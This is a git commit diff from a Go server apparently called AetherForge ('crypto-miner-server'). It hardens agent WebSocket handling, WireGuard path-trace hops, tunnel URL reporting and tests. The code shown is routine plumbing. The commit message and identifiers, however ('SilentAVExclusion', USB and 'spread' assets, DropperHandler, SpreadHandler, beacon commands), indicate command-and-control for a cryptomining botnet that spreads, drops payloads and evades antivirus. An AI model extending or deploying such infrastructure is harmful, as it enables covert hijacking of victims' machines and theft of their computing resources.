Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
AetherForge
2026-06-06 16:57:39 -07:00
parent 5229854f00
commit 415b5dc6a3
119 changed files with 7005 additions and 3082 deletions

View File

@@ -32,6 +32,9 @@ func allowAgentWSUpgrade(clientIP string) bool {
filtered = append(filtered, t)
}
}
if len(filtered) == 0 {
delete(agentWSRateLim.attempts, clientIP)
}
if len(filtered) >= agentWSRateLimitMax {
agentWSRateLim.attempts[clientIP] = filtered
return false

View File

@@ -49,8 +49,8 @@ func TestAuthCacheHitAndMiss(t *testing.T) {
func TestGenerateRandomPasswordLength(t *testing.T) {
pw := generateRandomPassword()
if len(pw) != 8 {
t.Fatalf("expected 8-char hex password, got len %d (%q)", len(pw), pw)
if len(pw) != 16 {
t.Fatalf("expected 16-char hex password (8 random bytes), got len %d (%q)", len(pw), pw)
}
}

View File

@@ -70,6 +70,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
pathForgeHandler := builder.NewPathForgeHandler(dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
webRoot := filepath.Join(dataDir, "webroot")
@@ -77,7 +78,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -489,6 +490,14 @@ func TestIntegrationBuilderRoutes(t *testing.T) {
if rec.Code != http.StatusNotFound {
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`))
if rec.Code == http.StatusNotFound {
t.Fatal("builder/path-forge route not registered")
}
if rec.Code != http.StatusBadRequest {
t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code)
}
}
func TestIntegrationBlueprintsCRUD(t *testing.T) {

View File

@@ -106,12 +106,7 @@ func (h *PathTracerHandler) expireSessions() {
h.mu.Unlock()
for _, sess := range expired {
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
h.teardownHops(sess.Hops)
}
}
@@ -131,6 +126,23 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
return
}
seen := make(map[string]bool, len(req.AgentIDs))
for _, id := range req.AgentIDs {
id = strings.TrimSpace(id)
if id == "" {
http.Error(w, "agent_ids required", http.StatusBadRequest)
return
}
if seen[id] {
http.Error(w, "duplicate agent_ids", http.StatusBadRequest)
return
}
seen[id] = true
if !h.hub.isAgentConnected(id) {
http.Error(w, "agent "+id[:min(8, len(id))]+" not connected", http.StatusBadRequest)
return
}
}
clientPriv, clientPub, err := generateServerWGKeyPair()
if err != nil {
@@ -146,11 +158,14 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
clientPubKey: clientPub,
}
// Build hops with placeholder names (agent name lookup below).
for i, id := range req.AgentIDs {
agentName := fmt.Sprintf("hop-%d", i+1)
if ag, err := h.hub.db.GetAgent(id); err == nil && strings.TrimSpace(ag.Name) != "" {
agentName = ag.Name
}
sess.Hops = append(sess.Hops, &HopInfo{
AgentID: id,
AgentName: fmt.Sprintf("hop-%d", i+1),
AgentName: agentName,
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
Port: 51820,
Status: HopPending,
@@ -239,13 +254,7 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
return
}
// Tell all agents to tear down.
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
h.teardownHops(sess.Hops)
h.mu.Lock()
delete(h.sessions, id)
@@ -326,6 +335,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
r.hop.Status = HopFailed
r.hop.Error = r.err
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
} else if strings.TrimSpace(r.pub) == "" || strings.TrimSpace(r.ip) == "" {
r.hop.Status = HopFailed
r.hop.Error = "missing public key or external IP"
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: missing public key or external IP"
} else {
r.hop.PublicKey = r.pub
r.hop.ExternalIP = r.ip
@@ -347,6 +360,7 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
h.mu.Unlock()
if anyFailed {
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
h.teardownHops(sess.Hops)
return
}
@@ -430,11 +444,24 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
if allReady {
sess.Ready = true
}
hops := sess.Hops
h.mu.Unlock()
if !allReady {
h.teardownHops(hops)
}
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
}
func (h *PathTracerHandler) teardownHops(hops []*HopInfo) {
for _, hop := range hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
}
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
var peers []map[string]interface{}

View File

@@ -14,6 +14,7 @@ import (
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
"github.com/gorilla/websocket"
@@ -367,6 +368,52 @@ func TestPathTracerBuildClientConfig(t *testing.T) {
}
}
func TestPathTracerStartResolvesAgentName(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
agentID := "trace-agent-named"
if err := database.UpsertAgent(&models.Agent{
ID: agentID,
Name: "Edge Node Alpha",
Status: "online",
}); err != nil {
t.Fatal(err)
}
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
startPathTracerAgentResponder(t, hub, agentID, "NAMED_AGENT_PUB")
// WS auth overwrites name with hostname; restore operator label for resolution test.
if err := database.UpsertAgent(&models.Agent{ID: agentID, Name: "Edge Node Alpha", Status: "online"}); err != nil {
t.Fatal(err)
}
body := `{"agent_ids":["` + agentID + `"]}`
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Start(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
}
var startResp struct {
Hops []HopInfo `json:"hops"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
t.Fatal(err)
}
if len(startResp.Hops) != 1 {
t.Fatalf("expected 1 hop, got %d", len(startResp.Hops))
}
if startResp.Hops[0].AgentName != "Edge Node Alpha" {
t.Fatalf("expected resolved agent name, got %q", startResp.Hops[0].AgentName)
}
}
func TestPathTracerStartValidation(t *testing.T) {
h := NewPathTracerHandler(NewWSHub(nil))
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
@@ -375,4 +422,20 @@ func TestPathTracerStartValidation(t *testing.T) {
if rec.Code != http.StatusBadRequest {
t.Fatalf("expected 400, got %d", rec.Code)
}
dupBody := `{"agent_ids":["agent-a","agent-a"]}`
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(dupBody))
rec = httptest.NewRecorder()
h.Start(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("duplicate agent_ids: expected 400, got %d", rec.Code)
}
offlineBody := `{"agent_ids":["offline-agent"]}`
req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(offlineBody))
rec = httptest.NewRecorder()
h.Start(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
}
}

View File

@@ -55,6 +55,7 @@ func authCacheHit(user, pass string) bool {
func authCacheSet(user, pass string) {
key := authCacheKey(user, pass)
authSessionCacheMu.Lock()
defer authSessionCacheMu.Unlock()
authSessionCache[key] = time.Now().Add(authCacheTTL)
// Prune expired entries opportunistically.
if len(authSessionCache) > 512 {
@@ -65,7 +66,6 @@ func authCacheSet(user, pass string) {
}
}
}
authSessionCacheMu.Unlock()
}
var (
@@ -356,7 +356,7 @@ func validateDashboardUsername(username string) error {
}
func generateRandomPassword() string {
b := make([]byte, 4)
b := make([]byte, 8)
if _, err := rand.Read(b); err != nil {
return "aether1!"
}
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -538,7 +538,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
if publicURLOverride != nil {
override = publicURLOverride()
}
GetServerInfo(w, r, override, listenPort)
tunnelReady := false
if cloudflaredConfigured != nil {
tunnelReady = cloudflaredConfigured()
}
GetServerInfo(w, r, override, listenPort, tunnelReady)
})
// Dashboard

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -5,26 +5,41 @@ import (
"net/http"
"net/url"
"strings"
"sync"
"time"
)
var (
cachedLocalIPs []string
cachedLocalIPsAt time.Time
cachedLocalIPsMu sync.Mutex
localIPsCacheTTL = 30 * time.Second
)
type ServerInfo struct {
Port int `json:"port"`
Host string `json:"host"`
LocalIPs []string `json:"local_ips"`
SuggestedURL string `json:"suggested_url"`
DashboardURL string `json:"dashboard_url"`
WebSocketURL string `json:"websocket_url"`
Port int `json:"port"`
Host string `json:"host"`
LocalIPs []string `json:"local_ips"`
LANURL string `json:"lan_url"`
TunnelURL string `json:"tunnel_url,omitempty"`
CloudflaredConfigured bool `json:"cloudflared_configured"`
SuggestedURL string `json:"suggested_url"`
DashboardURL string `json:"dashboard_url"`
WebSocketURL string `json:"websocket_url"`
}
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
// suggested_url uses https and omits :443 — not the local listen port (8989).
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
// lan_url is always the LAN http endpoint for workers on the same network.
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool) {
if listenPort <= 0 {
listenPort = 8989
}
localIPs := listLocalIPv4()
localIPs := listLocalIPv4Cached()
lanURL := lanURLFromIPs(localIPs, listenPort)
tunnelURL := tunnelURLFromRequest(r)
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
host := r.Host
@@ -37,17 +52,40 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
}
info := ServerInfo{
Port: port,
Host: host,
LocalIPs: localIPs,
SuggestedURL: suggestedURL,
DashboardURL: suggestedURL,
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
Port: port,
Host: host,
LocalIPs: localIPs,
LANURL: lanURL,
TunnelURL: tunnelURL,
CloudflaredConfigured: cloudflaredConfigured,
SuggestedURL: suggestedURL,
DashboardURL: suggestedURL,
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
}
writeJSON(w, info)
}
func lanURLFromIPs(localIPs []string, listenPort int) string {
if len(localIPs) == 0 {
return ""
}
return formatBaseURL("http", localIPs[0], listenPort)
}
func tunnelURLFromRequest(r *http.Request) string {
scheme := requestScheme(r)
if scheme != "https" {
return ""
}
host := requestHost(r)
hostOnly, port := hostAndPort(host, scheme)
if isLoopbackHost(hostOnly) {
return ""
}
return formatBaseURL(scheme, hostOnly, port)
}
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
if norm := normalizePublicURL(publicOverride); norm != "" {
return norm
@@ -141,6 +179,21 @@ func httpToWS(base string) string {
return "ws://" + strings.TrimPrefix(base, "http://")
}
func listLocalIPv4Cached() []string {
cachedLocalIPsMu.Lock()
defer cachedLocalIPsMu.Unlock()
if cachedLocalIPs != nil && time.Since(cachedLocalIPsAt) < localIPsCacheTTL {
out := make([]string, len(cachedLocalIPs))
copy(out, cachedLocalIPs)
return out
}
cachedLocalIPs = listLocalIPv4()
cachedLocalIPsAt = time.Now()
out := make([]string, len(cachedLocalIPs))
copy(out, cachedLocalIPs)
return out
}
func listLocalIPv4() []string {
var ips []string
ifaces, err := net.Interfaces()
@@ -187,6 +240,9 @@ func parsePort(s string) int {
return 8989
}
n = n*10 + int(ch-'0')
if n > 65535 {
return 8989
}
}
if n == 0 {
return 8989

View File

@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "", 8989)
GetServerInfo(rec, req, "", 8989, false)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
@@ -71,7 +71,7 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
GetServerInfo(rec, req, "https://forge.example.com:443", 8989, false)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
@@ -91,7 +91,7 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
req.Header.Set("X-Forwarded-Proto", "https")
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "", 8989)
GetServerInfo(rec, req, "", 8989, true)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
@@ -100,4 +100,31 @@ func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
}
if info.TunnelURL != "https://nothing.thetempleofdoom.com" {
t.Fatalf("tunnel_url = %q, want https public endpoint", info.TunnelURL)
}
if !info.CloudflaredConfigured {
t.Fatal("expected cloudflared_configured=true")
}
}
func TestGetServerInfoLANURLFromLocalhost(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "", 8989, false)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
t.Fatal(err)
}
if info.TunnelURL != "" {
t.Fatalf("tunnel_url should be empty on localhost, got %q", info.TunnelURL)
}
if len(info.LocalIPs) > 0 && info.LANURL == "" {
t.Fatalf("expected lan_url when local IPs present: %+v", info)
}
if len(info.LocalIPs) > 0 && info.LANURL != formatBaseURL("http", info.LocalIPs[0], 8989) {
t.Fatalf("lan_url = %q, want %s", info.LANURL, formatBaseURL("http", info.LocalIPs[0], 8989))
}
}

View File

@@ -524,7 +524,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
h.db.SetAgentOffline(agentID)
if err := h.db.SetAgentOffline(agentID); err != nil {
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
}
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
@@ -753,36 +755,44 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
_, alreadyConnected := h.agents[agentID]
if policy.MaxAgents > 0 {
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
}
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
_, alreadyConnected := h.agents[agentID]
if policy.MaxAgents > 0 {
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
oldConn.Close()
h.mu.Lock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
}
// startPing tracks whether a new ping goroutine is needed.
// If the same connection is re-authing (rare but possible), the existing
// ping loop is still healthy — starting a second one would create two
// concurrent writers racing on conn.WriteControl.
startPing := !alreadyConnected
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
h.mu.Unlock()
oldConn.Close()
h.mu.Lock()
startPing = true // fresh connection after displacing old one
}
ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
h.mu.Unlock()
h.FlushBeaconPoliciesToWS(agentID)
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
h.FlushBeaconPoliciesToWS(agentID)
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
// Start the RTT-aware ping loop now that we have an AgentConnection.
// Only start a ping loop for genuinely new connections.
if startPing {
go h.runPingLoopAgent(ac)
}
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
@@ -1312,13 +1322,11 @@ func (h *WSHub) broadcastDashboard(msg Message) {
for id, dc := range h.dashboards {
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
// Only close the connection here. HandleDashboardWS owns all map
// cleanup via its existing defer — doing it here too would cause a
// double-delete that corrupts the remaining-count used for the
// presence_update broadcast (SRV-B4).
dc.Conn.Close()
id := id
go func() {
h.mu.Lock()
delete(h.dashboards, id)
h.mu.Unlock()
}()
}
}
}